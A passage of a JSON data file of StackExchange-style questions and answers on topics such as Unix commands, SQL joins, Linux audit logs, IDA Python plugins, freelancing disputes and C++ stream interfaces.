back to the old project, and it works. New project no-worky.It seems like it does this every time, and my solution to it is new each time for some reason. I know #defines and #includes are one of the trickiest areas of C++ (and cross-language with Objective-C), but I had this working and now it's not." , "title": "How do you keep from running into the same problems over and over?" , "tags": "self improvement;productivity" , "accepted_answer": "I'd suggest determining what triggers the issue, and restructuring your development process to avoid that scenario. What 'restructuring' entails is highly dependent on the problem. It ranges from abstracting some behavior into a seperate class to changing the composition of your team.A journal detailing the context of the incident and resolution approaches can certainly help you converge on the root cause and/or a general solution. Once you've determined that there are a few obvious options:If the cause is avoidable: Try to avoid triggering the root cause next time.If the solution proves to be simple: Implement the general solution whenever the problem occurs.Restructure your development process so that it naturally avoids the issue.The options available depend on the information about the issue you have, and the amount of control you have over the development process." } { "id": "_unix.204733" , "question": "There are a number of Unix commands which do not work on my OS X Yosemite 10.10.3, Terminal Version 2.5.3. For instance, I often use this cheatsheet of Unix commands: http://mally.stanford.edu/%7Esr/computing/basic-unix.htmlTake the command webster, which gives the definitions of words via the Webster Dictionary. Naturally, Mac's Terminal does not recognize this command-bash: webster: command not foundIs there any way to download/import all Unix commands into OS X? Or at least import certain commands like webster? EDIT: It looks like the best way forward is to build my own set of Unix commands. webster just isn't available, outside of my fantasy Unix system on Stanford computers twenty years ago. Fellow Unix nerds, rise up! Let us achieve Unix greatness in days of yore!" , "title": "How can I import new Unix commands on my OS X Terminal?" , "tags": "terminal;osx;macintosh" } { "id": "_unix.77054" , "question": "I cannot find where I can set keyboard shortcut for switching languages.Update:New problem: I cannot set Alt+Shift combination for that." , "title": "Gnome3/cinnamon set keyboard shortcut" , "tags": "keyboard shortcuts;gnome3;cinnamon" , "accepted_answer": "I don't use Cinnamon so this might not work for you, but in vanilla Gnome 3.6 you could do this either via terminal:gsettings set org.gnome.settings-daemon.peripherals.keyboard input-sources-switcher alt-shift-lor via dconf-editor, navigating to org > gnome > settings-daemon > peripherals > keyboard and entering alt-shift-l as a value for the input-sources-switcher key:In Gnome 3.8 they have re-added this feature to Settings > Keyboard > Shortcuts, via an additional section called Typing:" } { "id": "_webmaster.88214" , "question": "I installed Google Analytic on my website. I pasted the code into the right place. It is showing real time & other data, but it is not counting sessions and page views. It actually appears that the page views is counting down. What can I do?" , "title": "Google Analytics not counting page views when installed on my website?" , "tags": "google analytics;statistics;visitors" } { "id": "_unix.104800" , "question": "I'd like to use find to list all files and directories recursively in a given root for a cpio operation. However, I don't want the root directory itself to appear in the paths. For example, I currently get:$ find diskimgdiskimgdiskimg/file1diskimg/dir1diskimg/dir1/file2But, I'd like to getfile1dir1dir1/file2(note the root is also not in my desired output, but that's easy to get rid of with tail).I'm on OS X, and I'd prefer not to install any extra tools (e.g. GNU find) if possible, since I'd like to share the script I'm writing with other OS X users.I'm aware this can be done with cut to cut the root listing off, but that seems like a suboptimal solution. Is there a better solution available?" , "title": "find output relative to directory" , "tags": "find" , "accepted_answer": "If what you are trying to do is not too complex, you could accomplish this with sed:find diskimg | sed -n 's|^diskimg/||p'Or cut:find diskimg | cut -sd / -f 2-" } { "id": "_softwareengineering.161945" , "question": "So a client comes to me and says it needs some work done. Basically 4 tasks, which I agreed to perform for a certain price. The customer creates the job offer (a fixed time and price job) on ODesk, I accept it, but it took some days and constant reminding for the customer to initiate a contract based on that job.The problem is that the original task has been completed, the contract is still active, I have not been paid yet, the customer says he will pay when the project is completed, and until then, new tasks occur constantly, or changes to older tasks that require full re-doing of elements. For all of this the client promises payment. No updates from this client on ODesk, no new tasks there. I keep reminding the client about sorting out the administrative issues, but with no results. At the same time, the client pushes on continuing work, since the project is soon to be launched.I don't know what to do.If I refuse to perform any work without the bureaucracy, the project will be late. But it's not my fault, is it? I am scared that I might receive a negative feedback in this case, or something even worse.If I drop out of this project I'm afraid I won't be getting even what I've earned.If I continue like this, I'll be wasting a lot of time doing stuff similar to the stuff described here, but as a programmer (yes, it has already come to similar requests, for lots of hardcoded content).How do I communicate with such clients in such situations? How do I avoid a conflict?P.S. The client is a small company. Different people handle different aspects of this project, and everybody introduces their own changes to the original specs.After 2 years: Wow! Very question! Much popular!I decided to let everyone in on the ending of this story. I've confronted the customer, explained that I will not work until I get paid for what I did, and until a hourly contract is open. They paid me the next day and opened a contract. A fruitful, but short collaboration started. Everyone was happy. Except I didn't get any feedback." , "title": "Should I continue to perform freelance work for customers who keep on demanding more without paying?" , "tags": "freelancing;customer relations" , "accepted_answer": "Oh man, I was in this position so many times back when I freelanced I'm feeling your pain right now.It all changed when I changed my way of thinking about clients: all clients are con artists.Let me say that again:ALL CLIENTS ARE CON ARTISTSWhen you change to this perspective it is when you realize you actually have the leverage most of the time, even when you don't have a contract that backs you up.Here is what you do:If you have delivered already, you are already screwed: At this point you must decide if you want to keep getting screwed and have the client continue making you his b****.If you have not delivered, there is hope: The launch is your leverage and you can still get paid. Negotiate payment for at least 50% or just drop the whole project and leave him to his luck, this is your leverage. I was in this position at least two times and didn't take the chance when I could, things went bad for me and I paid the price. It sounds cold-hearted, but this is often the point of no return.If you think this is just a communication problem, you can fix it (if and only if the client wants to): You can use the previous still as a leverage, but the solution is to ask the client to designate a single representative for the project, your best options for this are:The project ownerA stakeholder designated by the project ownerThe owners' right-handThis will effectively make them funnel all requests to a single point where things can be sorted out on their side, not on yours. You are experiencing a mixture of feature creep and lack of expectation management.In any case and if I were you, I would contact oDesk for assistance with this case. I'm sure there are a lot of clients who behave like this to extort more work out of contractors. If you have evidence that the project is complete according with the contract, use the contract as your weapon. I'm sure oDesk has contracts for something.Also, it can also look like being cold-hearted, but when it comes down to getting screwed or not screwed, their launch, their deadlines, and their mind-faps are their problem, not yours. I made the mistake of caring too much about the client in my days, but you don't have to.Edit: Last piece of advice, don't make the final delivery until you have the final payment. You can always give a demonstration in your own laptop/premises to assure everything works. Alternatively and if you have absolutely no choice, and the customer needs the application deployed to pay you (because it is in the contract, otherwise don't give in), deploy it in your own infrastructure and give no access to it to anyone other to those that you would trust with your life (I'm serious about this). This is your last possible leverage where you can say: you have X days to pay up or the service will be taken down. Pretend that he is renting a house you own, and he might just leave one day unannounced and you will never be able to track him back or give him a reason to pay you." } { "id": "_webapps.33946" , "question": "I have a facebook profile with a custom url name. For example Catdog - www.facebook.com/Catdog.So does that mean if someone enters: www.facebook.com/Catdog into their browser AND they are not my friend OR mutual friend, could still see my Timeline even though I've set ONLY FRIENDS in the Who could look up my Timeline by name options in the privacy settings?Thanks in advance." , "title": "Can knowing a custom Facebook URL of someone bypass who can look up my timeline by name privacy option?" , "tags": "facebook;privacy;facebook timeline" , "accepted_answer": "No. Your privacy settings apply even to customized URLs for your Facebook profile.There is always going to be some public information provided when people visit your profile page (Profile pic, basic info unless hidden). If you'd like to see what the public sees when visiting your profile, go to the Settings gear box on your Timeline and select View as...The default view will show you how you appear to the public, as well as provide a box for you to see how your various friends see your profile as well." } { "id": "_softwareengineering.228927" , "question": "Fixed-point object locations allow for worlds which are much more scale-able. Using a 64-bit integer (per dimension), and 0.1 millimeter precision, a world can be created which is 100% numerically stable, and 12,000 astronomical units across.I have been looking all over the internet, and I can't seem to find a physics engine which supports this.Is there a 3D physics engine in existence, which uses fixed-point (i.e. Integer, hopefully int-64) values for entities' positions?It's for a really ambitious sci-fi game I'm working on." , "title": "Physics Engine with Fixed-Point Positions" , "tags": "java;3d;physics" , "accepted_answer": "I've never heard of one.And there are reasons why nobody does it that way.First, numerically-intense computations moved to floating point decades ago because of the amount of headache involved in keeping track of the decimal point across multiplications, divisions, and exponentiations. The moment you hit transcendental functions (sin, cos, exp), you die horribly.Second, one light-year is about 63000 AU, so your universe is 1/5 of a light-year across. Given that Alpha Centauri is 4.3 light-years from Sol, your Universe is limited to one (1) solar system. AT THE MOMENT, it is summer on Pluto, meaning that it is just inside Neptune's orbit, and so the whole basic Solar system is 60 AU across (30 AU to Neptune's orbit, x 2).You're proposing using 64 bits. It only takes about 55 bits to represent the basic Solar system, to your desired precision. Use another bit, and go out to 120 AU across.Now, x86 extended precision (double) is 80 bits, with a sign bit, a 15-bit exponent, and a 64-bit mantissa. Your suggestion uses a 64-bit mantissa, with NO exponent. Bluntly, you aren't saving yourself any trouble by writing your own fixed-point math package.My suggestion to you is this: Develop a prototype of your game, using plain vanilla extended precision floating point, and see whether you encounter numerical instabilities." } { "id": "_codereview.102719" , "question": "I have 3 tables: Table couples consist of save_id, id_candidate_red, id_candidate_blue Table candidates_red consist of save_id, id_candidate, enter_match Table candidates_blue consist of save_id, id_candidate, enter_matchAnd I am running the query SELECT * FROM couples as c LEFT JOIN candidates_blue as cb ON cb.save_id = 3 AND cb.user_id = c.id_candidate_blue LEFT JOIN candidates_red as cr ON cr.save_id = 3 AND cr.user_id = c.id_candidate_red WHERE c.save_id = 3 AND cb.enter_match = 1 AND cr.enter_match = 1 which seems pretty simple to me, but as I have a big dataset behind my tables, it takes quite a while to execute." , "title": "Joining couples, red candidates, and blue candidates" , "tags": "performance;sql;mysql;join" , "accepted_answer": "I'm afraid there's not much we can do to help with this kind of question. There's not much obviously wrong. You likely need to run the query analyzer and add some missing indices and keys. Regardless, there's still an opportunity for improvement, albeit not much performance wise... SELECT *Do you really need every column? Even with proper keys/indices in place, this will typically force a table scan. Explicitly state only the fields you need to return. It will result in less I/O and could possibly turn a scan operation into a seek. If it doesn't, you'll need to find the missing index to be added. The next thing you can do is remove the duplication. LEFT JOIN candidates_blue as cb ON cb.save_id = 3 AND cb.user_id = c.id_candidate_blueLEFT JOIN candidates_red as cr ON cr.save_id = 3 AND cr.user_id = c.id_candidate_redWHERE c.save_id = 3 AND cb.enter_match = 1 AND cr.enter_match = 1I suppose you added all the save_id = 3s in an attempt to speed up the query? Don't bother. It won't help. Specifying it once for the couples table is sufficient. Which actually brings me to an optimization. Your query is equivalent to using INNER JOIN, but without any of the benefits. You're not currently getting the unmatched records anyway, so you might as well switch. You might see a significant performance increase. SELECT * /* don't forget to specify the fields you actually want */FROM couples as cINNER JOIN candidates_blue as cb ON cb.user_id = c.id_candidate_blueINNER JOIN candidates_red as cr ON cr.user_id = c.id_candidate_redWHERE c.save_id = 3 AND cb.enter_match = 1 AND cr.enter_match = 1 One last thing: Very nice formatting! It's extremely easy on the eyes. " } { "id": "_unix.159803" , "question": "When I do:echo #TEST >> /etc/passwdI get the following in audit logging:node=kayak.office.local type=SYSCALL msg=audit(1412687666.054:62033): arch=c000003e syscall=2 success=yes exit=3 a0=2939480 a1=241 a2=1b6 a3=76 items=2 ppid=12744 pid=12748 auid=1030 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1769 comm=bash exe=/bin/bash subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=identitynode=kayak.office.local type=CWD msg=audit(1412687666.054:62033): cwd=/rootnode=kayak.office.local type=PATH msg=audit(1412687666.054:62033): item=0 name=/etc/ inode=13 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 nametype=PARENTnode=kayak.office.local type=PATH msg=audit(1412687666.054:62033): item=1 name=(null) inode=15883 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 nametype=NORMAL(spaces added for readability)The inode of /etc/passwd is indeed 11908, but this is hard to parse with external tooling, which make rules based on file names. Can I get the file name/path?" , "title": "File path in audit log instead of inode number" , "tags": "linux;files;logs;audit" } { "id": "_reverseengineering.12726" , "question": "I have made a plugin (using IDA Python) that requires the Hex-Rays plugin. As per the instructions in the hexrays_sdk folder, I've named my plugin starting with hexrays_ to make sure it loads after Hex-Rays is done loading. However, IDA decides to load my plugin earlier, and hence, it never is able to get True for idaapi.init_hexrays_plugin(). I've tried renaming my plugin in multiple ways, but still cannot seem to get the plugin to load after Hex-Rays.BTW, I think the issue might be related to the fact that I am storing my plugin in %IDAUSR%/plugins rather than %IDADIR%/plugins since I do not want to modify %IDADIR%.Is there any kind of workaround to make the plugin load later? Or can I force IDA to load Hex-Rays earlier?" , "title": "Hex-Rays and IDA Python plugin loading order" , "tags": "idapython;idapro plugins;hexrays" , "accepted_answer": "When loading plugins, IDA goes through them alphabetically, and tries to load all the plugins.When loading a plugin, the loader check the plugin flags (idaapi.PLUGIN_PROC, idaapi.PLUGIN_FIX, and so on) to determine if the plugin should be loaded at the current time.If it is to be loaded, the init method is called. A plugin can return PLUGIN_KEEP to remain loaded, or PLUGIN_SKIP to avoid loading.As long as a plugin is not in memory (not yet loaded, or already unloaded,) IDA will try and load it again and again. This is how my plugin loader works.So the first thing you need to be sure of, is that you flag your plugin idaapi.PLUGIN_PROC, as this is when Hex-Rays loads (only when a processor module is active.)Hopefully, this will solve it. If not - you can use idaapi.load_plugin('hexrays') to explicitly load the Hex-Rays plugin. Again, this can only be done when a processor module is active, so be sure to use PLUGIN_PROC." } { "id": "_cs.24597" , "question": "I'm trying to proof/refute the following equation:$$n^n = \\Omega(n!)$$Generally I would try to use Convergence Criteria and or l'Hpital's rule to solve such a problem.$$\\lim_{n\\to \\inf}{{f(n)}\\over{g(n)}} = K$$However, in this case $n!$ is somewhat of a party-stopper. I found Stirling's approximation which states that:$$n! \\approx \\left(\\frac{n}{e}\\right)^n\\sqrt{2n} $$My idea was therefore:$${n^n}\\over{(\\frac{n}{e})^n\\sqrt{2n}}$$$${n^n}\\over{\\frac{n^n}{e^n}\\sqrt{2n}}$$$${e^n}\\over{\\sqrt{2n}}$$$$\\lim_{x\\to \\infty}{{e^2n}\\over{2n}} = \\infty$$$$ 0 < K \\leq \\infty $$therefore the original equation is true.Is that approach ok, did I understand Stirling's approximation correctly?" , "title": "Proof or refute $n^n = \\Omega(n!)$ with the help of Stirling's approximation" , "tags": "asymptotics;check my answer" , "accepted_answer": "Stirling's approximation states that$$ n! \\sim \\sqrt{2\\pi n} (n/e)^n. $$This notation means that the ratio between the two sides tends to 1 as $n$ tends to infinity. For your purposes, we can simply write$$ n! = \\Theta(\\sqrt{n} (n/e)^n). $$Since $\\sqrt{n} = o(e^n)$,$$ n! = o(n^n). $$If all you want to show $n! = O(n^n)$, then as Jukka mentions you can use the simple bound $n! \\leq n^n$." } { "id": "_unix.101132" , "question": "Before updating ubuntu to it's current version, bluetooth used to work just fine. But, now I've been facing problem regarding this bluetooth setting. While adding devices,it keeps on searching but never finds. Moreover, I can't set bluetooth setting to visible. I tried the method using Launchpad using this method. But, I failed that way. I got error on this line :# sudo dpkg -i indicator-bluetooth_0.0.6daily13.02.19-0ubuntu1_amd64.debThe error says like this:dpkg: error processing indicator-bluetooth_0.0.6daily13.02.19-0ubuntu1_amd64.deb (--install): cannot access archive: No such file or directoryErrors were encountered while processing: indicator-bluetooth_0.0.6daily13.02.19-0ubuntu1_amd64.deb" , "title": "How to enable bluetooth in Ubuntu 13.10?" , "tags": "ubuntu;bluetooth" } { "id": "_codereview.139181" , "question": "Question copied from the book:(Game: eye-hand coordination) Write a program that displays a circle of radius 10 pixels filled with a random color at a random location on a panel, as shown in Figure 16.28c. When you click the circle, it disappears and a new randomcolor circle is displayed at another random location. After twenty circles are clicked, display the time spent in the panel, as shown in Figure 16.28d.My solution:import javax.swing.*;import java.awt.*;import java.awt.event.*;public class EyeHandCoordination extends JFrame { private final int CIRCLE_RADIUS = 10; private final int TOTAL_CIRCLES = 20; private RandomCirclePanel panel = new RandomCirclePanel(); public EyeHandCoordination() { add(panel); } public static void main(String[] args) { EyeHandCoordination frame = new EyeHandCoordination(); frame.setTitle(EyeHandCoordination); frame.setSize(300, 300); frame.setLocationRelativeTo(null); // Center the frame frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setVisible(true); } private class RandomCirclePanel extends JPanel { private long startTime; private long endTime; private int circleX = 0; private int circleY = 0; private int currentCircle = 0; public RandomCirclePanel() { startTime = System.currentTimeMillis(); addMouseListener(new MouseAdapter() { @Override public void mousePressed(MouseEvent e) { // Check if in circle if (inCircle(e.getX(), e.getY()) && currentCircle < TOTAL_CIRCLES) { currentCircle++; repaint(); } } }); } /** Display circle at a random location **/ private void changeCircleLocation() { circleX = (int)(Math.random() * (getWidth() - CIRCLE_RADIUS * 2)); circleY = (int)(Math.random() * (getHeight() - CIRCLE_RADIUS * 2)); } /** Check if inCircle **/ public boolean inCircle(int mouseX, int mouseY) { if (distanceFromCenterOfCircle(mouseX, mouseY) <= CIRCLE_RADIUS) { return true; } return false; } private int distanceFromCenterOfCircle(int x, int y) { int centerX = circleX + CIRCLE_RADIUS; int centerY = circleY + CIRCLE_RADIUS; return (int)(Math.sqrt((centerX - x) * (centerX - x) + (centerY - y) * (centerY - y))); } @Override protected void paintComponent(Graphics g) { super.paintComponent(g); int width = getWidth(); int height = getHeight(); changeCircleLocation(); if (currentCircle >= TOTAL_CIRCLES) { g.setColor(Color.BLACK); endTime = System.currentTimeMillis(); FontMetrics fm = g.getFontMetrics(); String s = Time spent: + ((endTime - startTime) / 1000.0) + seconds; g.drawString(s, width / 2 - fm.stringWidth(s) / 2, height / 2 - fm.getAscent()); } else { g.setColor(new Color((int)(Math.random() * 256), (int)(Math.random() * 256), (int)(Math.random() * 256))); g.fillOval(circleX, circleY, CIRCLE_RADIUS * 2, CIRCLE_RADIUS * 2); } } }}" , "title": "Swing Game EyeHandCoordination" , "tags": "java;swing;event handling;gui" } { "id": "_codereview.98694" , "question": "I am writing a C++ library which will interact on files, memory buffers and remote files accessible with the HTTP protocol.To handle that, I've decided to create some classes that will use the following interface:DataStreamInterface.hclass DataStreamInterface { public: virtual bool open() = 0; virtual void close() = 0; virtual std::streamsize length() const = 0; virtual std::streamsize tell() const = 0; virtual std::streamsize seek(std::streamsize position) = 0; virtual std::streamsize read(char *buffer, std::streamsize length) = 0; virtual std::streamsize read(int8_t *buffer) = 0; virtual std::streamsize read(uint8_t *buffer) = 0; virtual std::streamsize read(int16_t *buffer) = 0; virtual std::streamsize read(uint16_t *buffer) = 0; virtual std::streamsize read(int32_t *buffer) = 0; virtual std::streamsize read(uint32_t *buffer) = 0; virtual std::streamsize read(float *buffer) = 0; virtual std::streamsize read(double *buffer) = 0; virtual std::streamsize read(std::string *buffer) = 0; virtual std::streamsize peek(uint8_t *buffer, std::streamsize length) = 0; virtual std::streamsize peek(int8_t *buffer) = 0; virtual std::streamsize peek(uint8_t *buffer) = 0; virtual std::streamsize peek(int16_t *buffer) = 0; virtual std::streamsize peek(uint16_t *buffer) = 0; virtual std::streamsize peek(int32_t *buffer) = 0; virtual std::streamsize peek(uint32_t *buffer) = 0; virtual std::streamsize peek(float *buffer) = 0; virtual std::streamsize peek(double *buffer) = 0; virtual std::streamsize peek(std::string *buffer) = 0; virtual std::streamsize write(const char *buffer, std::streamsize length) = 0; virtual std::streamsize write(int8_t value) = 0; virtual std::streamsize write(uint8_t value) = 0; virtual std::streamsize write(int16_t value) = 0; virtual std::streamsize write(uint16_t value) = 0; virtual std::streamsize write(int32_t value) = 0; virtual std::streamsize write(uint32_t value) = 0; virtual std::streamsize write(float value) = 0; virtual std::streamsize write(double value) = 0; virtual std::streamsize write(const std::string &value) = 0; virtual ~DataStreamInterface() { }};Then I create MemoryDataStream for reading and writing inside a malloc'd buffer, FileDataStream for reading and writing into files and HttpDataStream for reading remote files.MemoryDataStream.ccMemoryDataStream::MemoryDataStream(const DataStreamInit &dsInit) : _bigEndian(dsInit.bigEndian) {}MemoryDataStream::~MemoryDataStream() { this->_buffer.clear();}bool MemoryDataStream::open() { return true;}void MemoryDataStream::close() {}std::streamsize MemoryDataStream::length() const { return this->_buffer.size();}std::streamsize MemoryDataStream::seek(std::streamsize position) { if (position < 0 || static_cast(this->_cursor) + position > this->_buffer.size()) { return -1; } this->_cursor = position; return this->_cursor;}std::streamsize MemoryDataStream::tell() const { return this->_cursor;}std::streamsize MemoryDataStream::read(char *buffer, std::streamsize length) { std::streamsize result = 0; for (int i = 0; i < length; i++) { result += this->_read(buffer++); } return result;}std::streamsize MemoryDataStream::read(int8_t *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(uint8_t *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(int16_t *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(uint16_t *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(int32_t *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(uint32_t *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(float *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(double *buffer) { return this->_read(buffer);}std::streamsize MemoryDataStream::read(std::string *buffer) { std::streamsize i; std::string result; i = this->peek(&result); if (i < 1) { return i; } *buffer = result; this->_cursor += i; return i;}template std::streamsize MemoryDataStream::_read(T *buffer) { std::streamsize result = this->_peek(buffer); if (result > 0) { this->_cursor += result; } return result;}std::streamsize MemoryDataStream::peek(uint8_t *buffer, std::streamsize length) { std::streamsize result = 0; for (int i = 0; i < length; i++) { result += this->_peek(buffer++); } return result;}std::streamsize MemoryDataStream::peek(int8_t *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(uint8_t *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(int16_t *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(uint16_t *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(int32_t *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(uint32_t *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(float *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(double *buffer) { return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(std::string *value) { int8_t c; std::streamsize i; int size; std::stringstream strm; for (i = 0; i < 32768; ++i) { if (this->_peek(&c) < 1 || c == '\\0') { break; } else { this->_cursor += 1; } size = i; strm << c; } *value = strm.str(); this->_cursor -= size; return i;}template std::streamsize MemoryDataStream::_peek(T *buffer) { T value; T finalValue; uint8_t *originalData; uint8_t *finalData; std::streamsize size = static_cast(sizeof(T)); if (static_cast(this->_cursor) + size > this->_buffer.size()) { return -1; } value = *(reinterpret_cast(&this->_buffer[this->_cursor])); if (_bigEndian && sizeof(T) > 1) { originalData = reinterpret_cast(&value); finalData = reinterpret_cast(&finalValue); for (int i = 0; i < sizeof(T); ++i) { finalData[i] = originalData[(sizeof(T) - i) - 1]; } value = finalValue; } *buffer = value; return sizeof(T);}std::streamsize MemoryDataStream::write(const char *buffer, std::streamsize length) { return this->_write(buffer, length);}std::streamsize MemoryDataStream::write(int8_t value) { return this->_write(value);}std::streamsize MemoryDataStream::write(uint8_t value) { return this->_write(value);}std::streamsize MemoryDataStream::write(int16_t value) { return this->_write(value);}std::streamsize MemoryDataStream::write(uint16_t value) { return this->_write(value);}std::streamsize MemoryDataStream::write(int32_t value) { return this->_write(value);}std::streamsize MemoryDataStream::write(uint32_t value) { return this->_write(value);}std::streamsize MemoryDataStream::write(float value) { return this->_write(value);}std::streamsize MemoryDataStream::write(double value) { return this->_write(value);}std::streamsize MemoryDataStream::write(const std::string &value) { return this->_write(value.c_str(), strlen(value.c_str()) + 1);}template std::streamsize MemoryDataStream::_write(T buffer, std::streamsize length) { size_t pos = static_cast(this->_cursor); size_t size = static_cast(length); if (pos + size > this->_buffer.size()) { this->_buffer.resize(pos + size); } memcpy(&this->_buffer[pos], static_cast(buffer), size); this->_cursor += size; return size;}template std::streamsize MemoryDataStream::_write(T value) { T finalValue = value; uint8_t *originalData = reinterpret_cast(&value); uint8_t *finalData = reinterpret_cast(&finalValue); if (_bigEndian && sizeof(T) > 1) { for (int i = 0; i < sizeof(T); ++i) { finalData[i] = originalData[(sizeof(T) - i) - 1]; } originalData = finalData; } return this->_write(originalData, sizeof(T));}I would like to ask the following question :Is it alright to make DataStreamInterface an abstract class instead of an interface so I can use the templates like this ? Will it affect performance or memory consumption ? std::streamsize read(T *buffer); std::streamsize peek(T *buffer); std::streamsize write(T value);I've recently realized that any Android and iOS application would freeze when they'll use the library with their own DataStream implementation.For instance, if the C++ side call the HttpDataStream class implemented in Java to download a file, it would freeze the whole process and maybe the whole application until the download ends.Here is an example, calling the remote DataStream class defined in Java:std::streamsize DataStreamJava::read(double value) { jmethodID m = jni->GetMethodID(j_dataStream_class_, read, (D)J); jni->CallLongMethod(j_dataStream_global_, m); return 0;}I've been thinking about creating a class named DataStreamObserver on the C++ side, the DataStream constructor would take an instance of the DataStreamObserver class then call it every time a read or write operation has finished.Should I create DataStreamObserver as an abstract class with templates in order to avoid implementing methods like that?virtual void onReadSuccess(int8_t value, std::steamsize length) = 0;virtual void onReadSuccess(uint8_t value, std::steamsize length) = 0;virtual void onReadSuccess(int16_t value, std::steamsize length) = 0;virtual void onReadSuccess(uint16_t value, std::steamsize length) = 0;" , "title": "DataStream interface for reading and writing data" , "tags": "c++;object oriented;template;interface" , "accepted_answer": "InterfaceSeems like none of these methods should actually be virtual.class DataStreamInterface { public: virtual bool open() = 0; virtual void close() = 0; virtual std::streamsize length() const = 0; virtual std::streamsize tell() const = 0; virtual std::streamsize seek(std::streamsize position) = 0; virtual std::streamsize read(char *buffer, std::streamsize length) = 0; virtual std::streamsize read(int8_t *buffer) = 0; virtual std::streamsize read(uint8_t *buffer) = 0; virtual std::streamsize read(int16_t *buffer) = 0; virtual std::streamsize read(uint16_t *buffer) = 0; virtual std::streamsize read(int32_t *buffer) = 0; virtual std::streamsize read(uint32_t *buffer) = 0; virtual std::streamsize read(float *buffer) = 0; virtual std::streamsize read(double *buffer) = 0; virtual std::streamsize read(std::string *buffer) = 0; virtual std::streamsize peek(uint8_t *buffer, std::streamsize length) = 0; virtual std::streamsize peek(int8_t *buffer) = 0; virtual std::streamsize peek(uint8_t *buffer) = 0; virtual std::streamsize peek(int16_t *buffer) = 0; virtual std::streamsize peek(uint16_t *buffer) = 0; virtual std::streamsize peek(int32_t *buffer) = 0; virtual std::streamsize peek(uint32_t *buffer) = 0; virtual std::streamsize peek(float *buffer) = 0; virtual std::streamsize peek(double *buffer) = 0; virtual std::streamsize peek(std::string *buffer) = 0; virtual std::streamsize write(const char *buffer, std::streamsize length) = 0; virtual std::streamsize write(int8_t value) = 0; virtual std::streamsize write(uint8_t value) = 0; virtual std::streamsize write(int16_t value) = 0; virtual std::streamsize write(uint16_t value) = 0; virtual std::streamsize write(int32_t value) = 0; virtual std::streamsize write(uint32_t value) = 0; virtual std::streamsize write(float value) = 0; virtual std::streamsize write(double value) = 0; virtual std::streamsize write(const std::string &value) = 0; virtual ~DataStreamInterface() { }};In your implementation you add _write(), _read() and _peek() that does the actual work. Seems like these are really your virtual functions the others should just be implemented in the base class DataStreamInterface to use these virtual functions.I think I would implement like this:class DataStreamInterface { public: // Virtual Interface: virtual ~DataStreamInterface() { } virtual bool open() = 0; virtual void close() = 0; virtual std::streamsize length() const = 0; virtual std::streamsize tell() const = 0; virtual std::streamsize seek(std::streamsize position) = 0; private: // All the interesting stuff for each class is encapsulated in // these threee virtual methods. All the other read/peek/write // methods should delagate their work to these and not need to // be re-implemented in each class. virtual std::streamsize vread(char *buffer, std::size_t size) = 0; virtual std::streamsize vwrite(char *buffer, std::size_t size) = 0; virtual std::streamsize vpeek(char *buffer, std::size_t size) = 0; template std::streamsize tread(T *buffer, std::size_t size = sizeof(T)) { return vread(reinterpret_cast(buffer), size); } template std::streamsize twrite(T *buffer, std::size_t size = sizeof(T)) { return vwrite(reinterpret_cast(buffer), size); } template std::streamsize tpeek(T *buffer, std::size_t size = sizeof(T)) { return vpeak(reinterpret_cast(buffer), size); } // standard interface. // I did these in a hurry there will be mistakes. public: std::streamsize read(char *buffer, std::streamsize length){return tread(buffer, length);} std::streamsize read(int8_t *buffer) {return tread(buffer);} std::streamsize read(uint8_t *buffer) {return tread(buffer);} std::streamsize read(int16_t *buffer) {return tread(buffer);} std::streamsize read(uint16_t *buffer) {return tread(buffer);} std::streamsize read(int32_t *buffer) {return tread(buffer);} std::streamsize read(uint32_t *buffer) {return tread(buffer);} std::streamsize read(float *buffer) {return tread(buffer);} std::streamsize read(double *buffer) {return tread(buffer);} std::streamsize read(std::string *buffer) {return tread(buffer);} std::streamsize peek(uint8_t *buffer, std::streamsize length) {return tpeek(buffer, length);} std::streamsize peek(int8_t *buffer) {return tpeek(buffer);} std::streamsize peek(uint8_t *buffer) {return tpeek(buffer);} std::streamsize peek(int16_t *buffer) {return tpeek(buffer);} std::streamsize peek(uint16_t *buffer) {return tpeek(buffer);} std::streamsize peek(int32_t *buffer) {return tpeek(buffer);} std::streamsize peek(uint32_t *buffer) {return tpeek(buffer);} std::streamsize peek(float *buffer) {return tpeek(buffer);} std::streamsize peek(double *buffer) {return tpeek(buffer);} std::streamsize peek(std::string *buffer) {return tpeek(buffer.c_str(), buffer->length());} std::streamsize write(const char *buffer,std::streamsize length) {return tpeek(buffer, length);} std::streamsize write(int8_t value) {return twrite(buffer);} std::streamsize write(uint8_t value) {return twrite(buffer);} std::streamsize write(int16_t value) {return twrite(buffer);} std::streamsize write(uint16_t value) {return twrite(buffer);} std::streamsize write(int32_t value) {return twrite(buffer);} std::streamsize write(uint32_t value) {return twrite(buffer);} std::streamsize write(float value) {return twrite(buffer);} std::streamsize write(double value) {return twrite(buffer);} std::streamsize write(const std::string &value) {return twrite(buffer.c_str(), value.size());}};CommentsIs it alright to make DataStreamInterface an abstract class instead of an interface so I can use the templates like this ? An abstract class is an interface. The difference is terminology.Will it affect performance or memory consumption ?Sure. But not in any meaningful way. But before I can give a more exact answer I need you to be much more specific.For instance, if the C++ side call the HttpDataStream class implemented in Java to download a file, it would freeze the whole process and maybe the whole application until the download ends.Not a surprise. But nothing to do with it being a C++ function. If you ask the processor do do something it can not do anything else until it finishes. So it will freeze.Unless 